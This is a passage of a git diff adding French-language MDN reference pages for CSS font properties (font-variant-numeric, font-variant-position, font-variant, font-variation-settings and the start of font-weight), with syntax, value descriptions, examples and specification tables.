+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-variant-ligatures")}}</p>
diff --git a/files/fr/web/css/font-variant-numeric/index.html b/files/fr/web/css/font-variant-numeric/index.html
new file mode 100644
index 0000000000..382a387f47
--- /dev/null
+++ b/files/fr/web/css/font-variant-numeric/index.html
@@ -0,0 +1,136 @@
+---
+title: font-variant-numeric
+slug: Web/CSS/font-variant-numeric
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-variant-numeric
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-variant-numeric</code></strong> permet de contrôler l'utilisation de glyphes alternatifs pour les nombres, fractions et les marqueurs ordinaux.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-variant-numeric.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">font-variant-numeric: normal;
+font-variant-numeric: ordinal;
+font-variant-numeric: slashed-zero;
+font-variant-numeric: lining-nums;         /* &lt;numeric-figure-values&gt; */
+font-variant-numeric: oldstyle-nums;       /* &lt;numeric-figure-values&gt; */
+font-variant-numeric: proportional-nums;   /* &lt;numeric-spacing-values&gt; */
+font-variant-numeric: tabular-nums;        /* &lt;numeric-spacing-values&gt; */
+font-variant-numeric: diagonal-fractions;  /* &lt;numeric-fraction-values&gt; */
+font-variant-numeric: stacked-fractions;   /* &lt;numeric-fraction-values&gt; */
+font-variant-numeric: oldstyle-nums stacked-fractions;
+
+/* Valeurs globales */
+font-variant-numeric: inherit;
+font-variant-numeric: initial;
+font-variant-numeric: unset;
+</pre>
+
+<p>La valeur de cette propriété peut être définie selon deux formes :</p>
+
+<ul>
+ <li>la première avec le mot-clé <code>normal</code></li>
+ <li>la seconde avec une ou plusieurs valeurs parmi celles définies ci-après, séparées par des espaces et dans n'importe quel ordre.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé désactive l'utilisation des glyphes alternatifs.</dd>
+ <dt><code>ordinal</code></dt>
+ <dd>Ce mot-clé permet de forcer l'utilisation de glyphes spéciaux pour les marqueurs ordinaux utilisés par exemple pour 1<sup>er</sup>, 2<sup>e</sup>, 3<sup>e</sup>, etc. Il correspond aux valeurs OpenType values <code>ordn</code>.</dd>
+ <dt><code>slashed-zero</code></dt>
+ <dd>Ce mot-clé permet de forcer l'application d'une barre oblique après un 0. Cela peut être utile quand on cherche à distinguer un O majuscule d'un 0. Il correspond aux valeurs  OpenType <code>zero</code>.</dd>
+ <dt><em>&lt;numeric-figure-values</em>&gt;</dt>
+ <dd>Ces valeurs contrôlent les chiffres utilisés pour les nombres. Deux valeurs peuvent être utilisées :
+ <ul>
+  <li><code>lining-nums</code> permet d'activer l'ensemble de chiffres pour lequel tous les nombres sont apposés sur la ligne de base. Elle correspond aux valeurs OpenType <code>lnum</code>.</li>
+  <li><code>oldstyle-nums</code> permet d'activer l'ensemble de chiffres pour lequel certains nombres, comme 3, 4, 7, 9, ont un jambage. Elle correspond aux valleurs OpenType <code>onum</code>.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;numeric-spacing-values</em>&gt;</dt>
+ <dd>Ces valeurs permettent de contrôler la taille des chiffres utilisés pour les nombres. On peut utiliser deux valelurs :
+ <ul>
+  <li><code>proportional-nums</code> permet d'activer l'ensemble où les chiffres ne sont pas tous de la même taille. Elle correspond aux valeurs OpenType <code>pnum</code>.</li>
+  <li><code>tabular-nums</code> permet d'activer l'ensemble où les chiffres ont la même taille (ce qui leur permet d'être facilement alignés dans des tableaux). Elle correspond aux valeurs OpenType <code>tnum</code>.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;numeric-fraction-values</em>&gt;</dt>
+ <dd>Ces valeurs permettent de contrôler les glyphes utilisés pour afficher les fractions :
+ <ul>
+  <li><code>diagonal-fractions</code> permet d'utiliser l'ensemble où le numérateur et le dénominateur sont plus petits et séparés par une barre oblique. Elle correspond aux valeurs OpenType <code>frac</code>.</li>
+  <li><code>stacked-fractions</code> permet d'utiliser l'ensemble où les chiffres du numérateur et du dénominateur sont plus petits et séparés par une ligne horizontale. Elle correspond aux valeurs OpenType <code>afrc</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/*
+Cet exemple utilise la police Source Sans Pro OpenType développée par Adobe
+et utilisée ici sous les termes de la licence SIL Open Font en Version 1.1 :
+http://scripts.sil.org/cms/scripts/page.php?item_id=OFL_web
+*/
+
+@font-face {
+  font-family: "Source Sans Pro";
+  font-style: normal;
+  font-weight: 400;
+  src: url("https://mdn.mozillademos.org/files/15757/SourceSansPro-Regular.otf") format("opentype");
+}
+
+.ordinal {
+  font-variant-numeric: ordinal;
+  font-family: "Source Sans Pro";
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="ordinal"&gt;Premier, deuxième, troisième, quatrième, cinquième&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-numeric', 'font-variant-numeric')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-variant-numeric")}}</p>
diff --git a/files/fr/web/css/font-variant-position/index.html b/files/fr/web/css/font-variant-position/index.html
new file mode 100644
index 0000000000..b506bedb2b
--- /dev/null
+++ b/files/fr/web/css/font-variant-position/index.html
@@ -0,0 +1,95 @@
+---
+title: font-variant-position
+slug: Web/CSS/font-variant-position
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-variant-position
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-variant-position</code></strong> permet d'utiliser des glyphes de plus petite taille positionnés en exposant ou en indice par rapport à la ligne de base utilisée (qui reste la même).</p>
+
+<p>Généralement, les glyphes utilisés sont ceux utilisés pour les éléments HTML {{HTMLElement("sub")}} et {{HTMLElement("sup")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+font-variant-position: normal;
+font-variant-position: sub;
+font-variant-position: super;
+
+/* Valeurs globales */
+font-variant-position: inherit;
+font-variant-position: initial;
+font-variant-position: unset;
+</pre>
+
+<p>Lorsque ces glyphes alternatifs sont activés, si un caractère de l'ensemble concerné ne possède pas de glyphe correspondant, l'ensemble des caractères est affiché avec une méthode de secours qui synthétise ces glyphes.</p>
+
+<p>Ces glyphes alternatifs possèdent la même boîte em et la même ligne de base que le reste du texte. La modification est purement graphique et il n'y a pas d'impact sur la hauteur de ligne ou sur les autres caractéristiques liées aux boîtes.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La valeur de cette propriété est définie grâce à l'un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Les glyphes alternatifs sont désactivés.</dd>
+ <dt><code>sub</code></dt>
+ <dd>Ce mot-clé permet d'utiliser les glyphes utilisés en indice.</dd>
+ <dt><code>super</code></dt>
+ <dd>Ce mot-clé permet d'utiliser les glyphes utilisés en exposant.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+  font-variant-position: super;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt; Alice &lt;span class="exemple"&gt;ne s’était pas fait le moindre mal.&lt;/span&gt;
+    Vite elle se remet sur ses pieds et regarde en l’air ; mais tout
+    est noir là-haut. Elle voit devant elle un long passage et le Lapin
+    Blanc qui court à toutes jambes.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-position', 'font-variant-position')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-variant-position")}}</p>
diff --git a/files/fr/web/css/font-variant/index.html b/files/fr/web/css/font-variant/index.html
new file mode 100644
index 0000000000..d6fc3654e0
--- /dev/null
+++ b/files/fr/web/css/font-variant/index.html
@@ -0,0 +1,117 @@
+---
+title: font-variant
+slug: Web/CSS/font-variant
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-variant
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-variant</code></strong> est une propriété raccourcie représentant les propriétés : {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-ligatures")}} et {{cssxref("font-variant-east-asian")}}. On peut aussi utiliser les valeurs de la propriété <code>font-variant</code> définies avec CSS Level 2 (<code>normal</code> ou <code>small-caps</code>), en utilisant la propriété raccourcie {{cssxref("font")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-variant.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">font-variant: small-caps;
+font-variant: common-ligatures small-caps;
+
+/* Valeurs globales */
+font-variant: inherit;
+font-variant: initial;
+font-variant: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Définit une police normale ; chacune des propriétés individuelles a une valeur initiale de <code>normal</code>. Ces propriétés sont {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-ligatures")}}, et {{cssxref("font-variant-east-asian")}}.</dd>
+ <dt><code>none</code></dt>
+ <dd>Définit la valeur de {{cssxref("font-variant-ligatures")}} comme étant <code>none</code> et les valeurs des autres propriétés à <code>normal</code>, leur valeur initiale.</dd>
+ <dt>&lt;common-lig-values&gt;, &lt;discretionary-lig-values&gt;, &lt;historical-lig-values&gt;, &lt;contextual-alt-values&gt;</dt>
+ <dd>Définit la valeur de la propriété {{cssxref("font-variant-ligatures")}}. Les valeurs possibles sont: <code>common-ligatures</code>,<code>no-common-ligatures</code>, <code>discretionary-ligatures</code>, <code>no-discretionary-ligatures</code>, <code>historical-ligatures</code>, <code>no-historical-ligatures</code>,<code>contextual</code>, et <code>no-contextual</code>.</dd>
+ <dt><code>stylistic()</code>, <code>historical-forms</code>, <code>styleset()</code>, <code>character-variant()</code>, <code>swash()</code>, <code>ornaments()</code>, <code>annotation()</code></dt>
+ <dd>Définit les mots-clés et fonctions relatives à la propriété {{cssxref("font-variant-alternates")}}.</dd>
+ <dt><code>small-caps</code>, <code>all-small-caps</code>, <code>petite-caps</code>, <code>all-petite-caps</code>, <code>unicase</code>, <code>titling-caps</code></dt>
+ <dd>Définit le mot-clé relatif à la propriété {{cssxref("font-variant-caps")}}.</dd>
+ <dt><code>&lt;numeric-figure-values&gt;</code>, <code>&lt;numeric-spacing-values&gt;</code>, <code>&lt;numeric-fraction-values&gt;</code>, <code>ordinal</code>, <code>slashed-zero</code></dt>
+ <dd>Définit la valeur de la propriété {{cssxref("font-variant-numeric")}}. Les valeurs possibles sont <code>lining-nums</code>,<code> oldstyle-nums</code>, <code>proportional-nums</code>, <code>tabular-nums</code>, <code>diagonal-fractions</code>, <code>stacked-fractions</code>, <code>ordinal</code>, et <code>slashed-zero.</code></dd>
+ <dt><code>&lt;east-asian-variant-values&gt;</code>, <code>&lt;east-asian-width-values&gt;</code>, <code>ruby</code></dt>
+ <dd>Définit la valeur de la propriété {{cssxref("font-variant-east-asian")}}. Les valeurs possibles sont: <code>jis78</code>, <code>jis83</code>,<code>jis90</code>, <code>jis04</code>, <code>simplified</code>, <code>traditional</code>, <code>full-width</code>, <code>proportional-width</code>, <code>ruby</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="normal"&gt;Firefox normal&lt;/p&gt;
+&lt;p class="small"&gt;Firefox petit&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p.normal {
+    font-variant: normal;
+}
+p.small {
+    font-variant: small-caps;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '', '', '', 'Web/CSS/font-variant')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant', 'font-variant')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>La propriété est désormais une propriété raccourcie pour les nouvelles propriétés  <code>font-variant-*</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-variant', 'font-variant')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-variant', 'font-variant')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-variant")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("text-transform")}}</li>
+ <li>{{cssxref("text-combine-upright")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/font-variation-settings/index.html b/files/fr/web/css/font-variation-settings/index.html
new file mode 100644
index 0000000000..fc5df8a335
--- /dev/null
+++ b/files/fr/web/css/font-variation-settings/index.html
@@ -0,0 +1,166 @@
+---
+title: font-variation-settings
+slug: Web/CSS/font-variation-settings
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-variation-settings
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>font-variation-settings</code></strong> permet de contrôler les caractéristiques typographiques de bas niveau OpenType ou TrueType en utilisant les quatres lettres représentant les axes des caractéristiques qu'on souhaite faire varier, ainsi que les valeurs pour les variations associées.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-variation-settings.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété fonctionne à un niveau plus bas que {{cssxref("font-feature-settings")}} qui permet de définir les valeurs et les étiquettes (<em>tags</em>) pour les caractéristiques des polices.</p>
+
+<div class="note"><strong>Note : </strong>Si possible, les auteurs web devraient utiliser d'autres méthodes pour contrôler l'affichage des polices de caractères et notamment la propriété raccourcie {{cssxref("font-variant")}} ou une des propriétés détaillée associée. Cette propriété est une fonctionnalité de bas niveau destinée à gérer les cas spécifiques pour lesquels il est autrement impossible d'activer ou de paramétrer une caractéristique OpenType existante.</div>
+
+<div class="note"><strong>Note :</strong> Les caractéristiques définies avec <code>font-variation-settings</code> l'emporteront sur celles définies par les autres propriétés relatives aux polices (ex. <code>font-weight</code>), où qu'elles soient dans la cascade. Pour certains navigateurs, cela se vérifie uniquement lorsque la déclaration <code>@font-face</code> inclut un intervalle <code>font-weight</code>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur pour les réglages par défaut */
+font-variation-settings: normal;
+
+/* Utilisation des valeurs */
+/* pour les axes OpenType  */
+font-variation-settings: "XHGT" 0.7;
+
+/* Valeurs globales */
+font-variation-settings: inherit;
+font-variation-settings: initial;
+font-variation-settings: unset;
+</pre>
+
+<p>La valeur de cette propriété peut être définie selon deux formes :</p>
+
+<ul>
+ <li>Avec le mot-clé <code>normal</code></li>
+ <li>Ou avec une chaîne de caractères (<code>&lt;string&gt;</code>) suivi d'un nombre (<code>&lt;number&gt;</code>). Ce motif peut être répété tant qu'une virgule sépare chacun des tuples.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Le texte est disposé avec les caractéristiques par défaut.</dd>
+ <dt><code>&lt;string&gt; &lt;number&gt;</code></dt>
+ <dd>Lors de l'affichage du texte, les axes OpenType sont passés au moteur graphique afin d'activer ou de désactiver certaines fonctionnalités de la police. Chaque valeur est une chaîne de caractères (type {{cssxref("&lt;string&gt;")}}) avec quatre caractères ASCII, suivie par un nombre (type {{cssxref("number")}}) qui indique la valeur pour l'axe correspondant. Si la chaîne de caractères <code>&lt;string&gt;</code> a plus ou moins de 4 caractères et contient des caractères en dehors de l'intervalle U+20 - U+7E, la propriété sera considérée comme invalide. La valeur numérique <code>&lt;number&gt;</code> n'est pas nécessairement entière et positive, ce peut être un nombre décimal ou un nombre négatif.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Axes_enregistrés_et_axes_spécifiques">Axes enregistrés et axes spécifiques</h2>
+
+<p>Les axes des polices variables sont rangés selon deux catégories : les axes <strong>enregistrés</strong> et les axes <strong>spécifiques</strong>.</p>
+
+<p>Les axes enregistrés représentent les variations les plus fréquemment utilisées. Si ces axes sont suffisamment fréquents pour avoir été standardisés, cela ne signifie pas qu'un créateur de police doive tous les gérer pour créer une police.</p>
+
+<p>Voici la liste des axes enregistrés et les propriétés CSS correspondantes, qui permettent de jouer sur ces axes :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Étiquette pour l'axe</th>
+   <th scope="col">Propriété</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>"wght"</td>
+   <td>{{cssxref("font-weight")}}</td>
+  </tr>
+  <tr>
+   <td>"wdth"</td>
+   <td>{{cssxref("font-stretch")}}</td>
+  </tr>
+  <tr>
+   <td>"slnt" (slant)</td>
+   <td>{{cssxref("font-style")}}: <code>oblique + angle</code></td>
+  </tr>
+  <tr>
+   <td>"ital"</td>
+   <td>{{cssxref("font-style")}}: <code>italic</code></td>
+  </tr>
+  <tr>
+   <td>"opsz"</td>
+   <td>
+    <p>{{cssxref("font-optical-sizing")}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Les axes spécifiques peuvent correspondre à n'importe quel axe que le concepteur de la police souhaite faire varier (ce peut par exemple être la hauteur des hampes et des jambages, la taille des empattements ou tout autre chose). N'importe quel axe peut être utilisé tant qu'il a une étiquette unique sur quatre caractères. Il est possible que, si des axes spécifiques deviennent majoritairement présents, ils soient intégrés parmi les axes enregistrés.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Les étiquettes des axes enregistrés sont écrits en minuscules et les axes spécifiques doivent être écrits en majuscules. On notera que rien n'oblige à suivre cette règle et qu'il est tout à fait possible que des concepteurs de polices donnent des étiquettes en minuscules à des axes spécifiques. Quoiqu'il en soit, on retiendra que les étiquettes des axes sont sensibles à la casse.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="warning">
+<p><strong>Attention !</strong> Afin de pouvoir utiliser les polices variables, votre système d'exploitation doit être à jour et votre navigateur doit prendre en charge ces fonctionnalités. Ainsi, les systèmes basés sur Linux requièrent la dernière version de Linux Freetype et les systèmes macOS antérieurs à 10.13 ne prennent pas en charge les polices variables.</p>
+</div>
+
+<h3 id="Graisse_(wght)">Graisse (<code>wght</code>)</h3>
+
+<p>L'exemple suivant peut être édité afin de voir l'effet de la modification des valeurs pour la graisse du texte.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/weight.html", '100%', 520)}}</div>
+
+<h3 id="Pente_(slnt)">Pente (<code>slnt</code>)</h3>
+
+<p>L'exemple suivant peut être édite afin de voir l'effet de la modification des valeurs pour la pente (à ne pas confondre avec l'italique) du texte.</p>
+
+<div>{{EmbedGHLiveSample("css-examples/variable-fonts/slant.html", '100%', 520)}}</div>
+
+<h3 id="Autres_exemples">Autres exemples</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Fonts/Guide_polices_variables">Guide sur les polices variables</a></li>
+ <li><a href="https://v-fonts.com">v-fonts.com</a></li>
+ <li><a href="https://axis-praxis.org">axis-praxis.org</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#low-level-font-variation-settings-control-the-font-variation-settings-property', 'font-variation-settings')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.font-variation-settings")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Fonts/Guide_polices_variables">Guide sur les polices variables</a></li>
+ <li><a href="https://www.microsoft.com/typography/otspec180/otvaroverview.htm">OpenType Font Variations Overview</a></li>
+ <li><a href="https://www.microsoft.com/typography/otspec180/default.htm">OpenType specification</a></li>
+ <li><a href="https://www.microsoft.com/typography/otspec/dvaraxisreg.htm">OpenType Design-Variation Axis Tag Registry</a></li>
+</ul>
diff --git a/files/fr/web/css/font-weight/index.html b/files/fr/web/css/font-weight/index.html
new file mode 100644
index 0000000000..cfe8c8e614
--- /dev/null
+++ b/files/fr/web/css/font-weight/index.html
@@ -0,0 +1,394 @@
+---
+title: font-weight
+slug: Web/CSS/font-weight
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-weight
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>font-weight</code></strong> permet de définir la graisse utilisée pour le texte. Les niveaux de graisse disponibles dépendent de la police (cf. {{cssxref("font-family")}}). Certaines fontes n'existent qu'avec les niveaux de graisses <code>normal</code> et <code>bold</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-weight.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+font-weight: normal;
+font-weight: bold;
+
+/* Valeurs relatives à l'élément parent */
+font-weight: lighter;
+font-weight: bolder;
+
+/* Valeurs numériques */
+font-weight: 1;
+font-weight: 100;
+font-weight: 100.6;
+font-weight: 123;
+font-weight: 200;
+font-weight: 300;
+font-weight: 321;
+font-weight: 400;
+font-weight: 500;
+font-weight: 600;
+font-weight: 700;
+font-weight: 800;
+font-weight: 900;
+font-weight: 1000;
+
+/* Valeurs globales */
+font-weight: inherit;
+font-weight: initial;
+font-weight: unset;
+</pre>
+
+<p>La propriété <code>font-weight</code> peut être définie grâce à l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Le niveau de graisse normal pour la fonte. Équivalent à la valeur <code>400</code>.</dd>
+ <dt><code>bold</code></dt>
+ <dd>Le texte est en gras. Équivalent à la valeur <code>700</code>.</dd>
+ <dt><code>lighter</code></dt>
+ <dd>On diminue la graisse d'un niveau par rapport à l'élément parent (selon les fontes / graisses disponibles pour la police utilisée). Le texte paraît plus fin.</dd>
+ <dt><code>bolder</code></dt>
+ <dd>On augmente la graisse d'un niveau par rapport à l'élément parent (selon les fontes / graisses disponibles pour la police utilisée). Le texte est plus gras.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Une valeur numérique (type {{cssxref("&lt;number&gt;")}}) comprise entre 1 et 1000. Plus la valeur est grande, plus le niveau de graisse est élevé. Ces valeurs permettent de couvrir un éventail de valeurs plus larges qu'avec <code>normal</code> et <code>bold</code>.</dd>
+</dl>
+
+<p>Pour d'anciennes versions de la spécification, <code>font-weight</code> n'acceptait que les mots-clés et les valeurs numériques 100, 200, 300, 400, 500, 600, 700, 800 et 900. Les polices non-variables ne peuvent utiliser que ces valeurs (les valeurs plus fines seront converties cf. ci-après).</p>
+
+<p>Le module de spécification <em>CSS Fonts</em> de niveau 4 a étendu la syntaxe afin de pouvoir utiliser n'importe quel nombre entre 1 et 1000. Cela permet aux polices variables d'avoir une meilleur précision quant aux tailles utilisables. On notera que cette fonctionnalité n'est pas encore prise en charge (à date de juin 2018) par tous les navigateurs.</p>
+
+<h3 id="Conversion_des_valeurs">Conversion des valeurs</h3>
+
+<p>Si une fonte avec la graisse demandée n'est pas disponible, le moteur suit la méthode suivante pour déterminer la fonte qui sera affichée :</p>
+
+<ul>
+ <li>Si un niveau supérieur à <code>500</code> est utilisé, c'est la graisse la plus sombre et la plus proche qui sera utilisée (la plus proche s'il n'y a pas de graisse plus forte)</li>
+ <li>Si un niveau inférieur à <code>400</code> est utilisé, c'est la graisse la plus claire la plus proche qui est utilisée (la plus proche s'il n'y a pas de graisse plus claire)</li>
+ <li>Si un niveau égal à <code>400</code> est utilisé, <code>500</code> sera utilisé. Si <code>500</code> n'est pas disponible, on utilisera la méthode de calcul sur un niveau inférieur à 400.</li>
+ <li>Si un niveau égal à <code>500</code> est utilisé, <code>400</code> sera utilisé. Si <code>400</code> n'est pas disponible, on utilisera la méthode de calcul sur un niveau inférieur à <code>400</code>.</li>
+</ul>
+
+<p>Autrement dit, pour les fontes dont les niveaux de graisse sont uniquement <code>normal</code> et <code>bold</code>, <code>100</code>-<code>500</code> seront considérés équivalents à <code>normal</code> et <code>600</code>-<code>900</code> à <code>bold</code>.</p>
+
+<h3 id="Signification_des_poids_relatifs">Signification des poids relatifs</h3>
+
